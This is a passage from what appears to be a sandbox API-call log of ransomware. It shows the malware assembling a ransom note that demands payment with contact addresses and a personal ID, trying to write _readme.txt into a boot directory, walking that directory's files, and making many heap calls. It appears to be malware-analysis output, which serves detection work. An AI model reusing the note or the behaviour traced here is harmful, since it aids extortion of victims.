tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.597] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.597] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.597] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.597] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.597] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.597] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.598] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.598] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.598] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.598] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.598] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.598] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.598] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.598] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.598] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.598] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.598] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.598] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.598] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.598] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.598] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.598] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.598] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.598] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.598] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.598] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.598] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.598] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.599] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.599] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.600] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.600] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.601] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.601] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.602] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.602] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.603] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.603] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, 